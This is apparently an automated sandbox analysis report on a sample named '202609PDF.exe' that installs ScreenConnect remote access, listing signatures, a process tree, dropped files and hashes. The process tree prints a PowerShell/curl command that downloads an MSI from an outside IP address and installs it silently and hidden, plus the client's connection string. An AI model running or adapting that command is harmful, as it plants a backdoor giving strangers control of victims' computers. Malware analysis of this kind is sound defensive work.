Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 12:22

General

  • Target
    202609PDF.exe
  • Size 31KB
  • Sample260930-pjy3bsfa69
  • SHA256 4dc4c0bdce7d711bd4160beebbfe67d64a65a5c083429cb222926d7bd095b353
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\202609PDF.exe
    "C:\Users\Admin\AppData\Local\Temp\202609PDF.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:3704
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -Seconds 3;New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -k 'http://52.197.194.156:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -o 'C:\Temp\ScreenConnect.ClientSetup.msi';Start-Sleep -Seconds 3; Start-Process msiexec.exe '/i C:\Temp\ScreenConnect.ClientSetup.msi /qn ARPSYSTEMCOMPONENT=1 ARPNOREMOVE=1 ARPNOMODIFY=1'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5572
      • C:\Windows\SysWOW64\curl.exe
        "C:\Windows\system32\curl.exe" -k http://52.197.194.156:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest -o C:\Temp\ScreenConnect.ClientSetup.msi
        3⤵
          PID:4932
        • C:\Windows\SysWOW64\msiexec.exe
          "C:\Windows\system32\msiexec.exe" /i C:\Temp\ScreenConnect.ClientSetup.msi /qn ARPSYSTEMCOMPONENT=1 ARPNOREMOVE=1 ARPNOMODIFY=1
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:1764
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1400
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5A57FD6603A7C668A692EAFD04CAF8C1
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4464
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSICB12.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240831343 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Drops file in Windows directory
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:464
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 33FC856F8D404ACF878278BAA0464CEB E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:3880
    • C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=52.197.194.156&p=8041&s=ac8e3172-c4f4-4c79-98b1-f46162404768&k=BgIAAACkAABSU0ExAAgAAAEAAQA1LPOcctjUYalPF4wDRv3p0t%2fMeIp3UfNieAXdYkWgwEikRvSxGilbbZkpDYtc0QQZqc9W8hRghzLZXRaRQ052wqvmiGuiGBkh%2fzWWXwU4Iqpm3qV6x7PGN3fq1jJlv0wMXgV7Msg0TZHxAWAWxu5OGB%2bxH63z3MENyIzZFbNLlmZNX4gCVVsOFQbkZ9YTIe9RGJs8WlUB5Nys7ScY5%2b0DPDYlaBhcidJThYjrVxhwjWifdsZYMkwKxtvtrfMTh9m4L8Y7ebcFDDYjDZ6E0EprsJKLym3fmkUj9o8VvvGJbMQmPxjajhRrCqNPM5bc3kIt4Hskv7Vw6u4erjhUGEe%2f"
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3272
      • C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsClient.exe" "RunRole" "e57dc740-afd0-4aec-b402-7644e2e853e9" "User"
        2⤵
        • Executes dropped EXE
        PID:5888
      • C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsClient.exe" "RunRole" "b513bbec-5ca8-455b-b1b4-3fb7abbaab04" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4904

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5ac894.rbs

          • Path C:\Config.Msi\e5ac894.rbs
          • Size 214KB
          • SHA256 3a7cec0e2ad6256c6737f6b67afe1a203dd6a0d031785f2c0023152c42f9efe2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\Client.Override.en-US.resources
          • Size 311B
          • SHA256 78e82ec2a89b62a2c52eacb5e8ae36540ae05e19f554821ae2bd588496234f75
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\Client.Override.resources
          • Size 256B
          • SHA256 f65dd232dc433ab6e87596b4df2a87038753dda5ee9f5cdfb3b5bba2868005b9
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.Client.dll
          • Size 202KB
          • SHA256 43504025bcd55a1bf01f2a12dad42e0b16a7ae88c5ff14e08a058b69506a5834
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.ClientService.dll
          • Size 77KB
          • SHA256 bd1d0d81ddd9c15d772e2e5a33f2dd1e544dee902b52a6b38e1036195acdaeb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 241d57ae42b980c20adb5cbf8556acd7d03491b7b4e695830cc12ecf46851dd4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.Core.dll
          • Size 549KB
          • SHA256 5c8ee78e5b3b1becd0157d04166caa1c71262af02cc96b2c32051f478192c11c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.Windows.dll
          • Size 1.7MB
          • SHA256 286011ba16f1cfd2a7764bda7cf35e09892c293c683fefc5d92ac0042f73a434
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 8a28daa181ad58a77867259978fa1dbcd9e9cb6ea1b7ba4f65274673023fa7ea
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ea7ff6e7e83d87af)\system.config
          • Size 930B
          • SHA256 89e10db08d28547301be10e9fcd922bebe9b549c8c5b91f238bbbc109b3d4586
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Temp\ScreenConnect.ClientSetup.msi
          • Size 12.9MB
          • SHA256 51cc6889c9f9fb4037142d4b4dbe70f155a6472a935d9bf67a1cc2ea80de0905
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSICB12.tmp

          • Path C:\Windows\Installer\MSICB12.tmp
          • Size 1.0MB
          • SHA256 416a0dad073a5cbcc233c1e5b41068812a557a19f3ca191408bb9efed39c653c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSICB12.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSICB12.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 111a09ba2105023d94d6682461527b6f42e525c948dd72bd6a0e1f412219beae
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSICB12.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 acb37b8341a0039629f99e7ec652a32deec149b3e732a1ab2c42dd9ddf5b08a1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSICB12.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 18e61eba427f20ce3c9d71359e9994c2849026be3c2d543043200c47c03fedd8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSICE7F.tmp

          • Path C:\Windows\Installer\MSICE7F.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/464-56-0x0000000005960000-0x00000000059EE000-memory.dmp

          memory/464-48-0x0000000003890000-0x00000000038BE000-memory.dmp

          memory/464-60-0x0000000005C60000-0x0000000005E0C000-memory.dmp

          memory/464-52-0x0000000003870000-0x000000000387A000-memory.dmp

          memory/1400-151-0x0000024641E90000-0x0000024642834000-memory.dmp

          memory/3272-130-0x0000000004020000-0x0000000004061000-memory.dmp

          memory/3272-123-0x0000000003F90000-0x0000000003FE0000-memory.dmp

          memory/3272-132-0x00000000044A0000-0x0000000004575000-memory.dmp

          memory/3272-105-0x0000000003E20000-0x0000000003EAE000-memory.dmp

          memory/3272-109-0x0000000004060000-0x000000000420C000-memory.dmp

          memory/3272-128-0x00000000042B0000-0x0000000004342000-memory.dmp

          memory/3272-127-0x0000000003FE0000-0x0000000004016000-memory.dmp

          memory/3272-99-0x0000000001830000-0x0000000001848000-memory.dmp

          memory/3704-1-0x0000000002190000-0x00000000021A8000-memory.dmp

          memory/3704-0-0x0000000002190000-0x00000000021A8000-memory.dmp

          memory/5572-18-0x0000000006F80000-0x0000000006FA2000-memory.dmp

          memory/5572-6-0x0000000073C20000-0x00000000743DC000-memory.dmp

          memory/5572-14-0x0000000005DA0000-0x0000000005DEC000-memory.dmp

          memory/5572-13-0x0000000005D80000-0x0000000005D9E000-memory.dmp

          memory/5572-12-0x00000000058A0000-0x0000000005BFB000-memory.dmp

          memory/5572-16-0x0000000006280000-0x000000000629A000-memory.dmp

          memory/5572-9-0x0000000005700000-0x0000000005766000-memory.dmp

          memory/5572-17-0x0000000006FF0000-0x0000000007086000-memory.dmp

          memory/5572-27-0x0000000073C20000-0x00000000743DC000-memory.dmp

          memory/5572-8-0x0000000005690000-0x00000000056F6000-memory.dmp

          memory/5572-19-0x0000000008210000-0x00000000087CA000-memory.dmp

          memory/5572-7-0x00000000055F0000-0x0000000005612000-memory.dmp

          memory/5572-20-0x0000000073C32000-0x0000000073C33000-memory.dmp

          memory/5572-15-0x00000000075D0000-0x0000000007C4C000-memory.dmp

          memory/5572-5-0x0000000004FA0000-0x00000000055EA000-memory.dmp

          memory/5572-4-0x0000000073C20000-0x00000000743DC000-memory.dmp

          memory/5572-3-0x0000000002590000-0x00000000025C6000-memory.dmp

          memory/5572-2-0x0000000073C32000-0x0000000073C33000-memory.dmp

          memory/5572-21-0x0000000073C20000-0x00000000743DC000-memory.dmp

          memory/5572-22-0x0000000073C20000-0x00000000743DC000-memory.dmp

          memory/5888-144-0x000000001B410000-0x000000001B49E000-memory.dmp

          memory/5888-145-0x000000001B990000-0x000000001BB3C000-memory.dmp

          memory/5888-142-0x0000000000700000-0x0000000000798000-memory.dmp

          memory/5888-146-0x000000001BCD0000-0x000000001BE58000-memory.dmp

          memory/5888-148-0x0000000002850000-0x0000000002868000-memory.dmp

          memory/5888-147-0x00000000027B0000-0x00000000027C8000-memory.dmp

          memory/5888-149-0x0000000002880000-0x00000000028C1000-memory.dmp

          memory/5888-143-0x00000000027E0000-0x0000000002816000-memory.dmp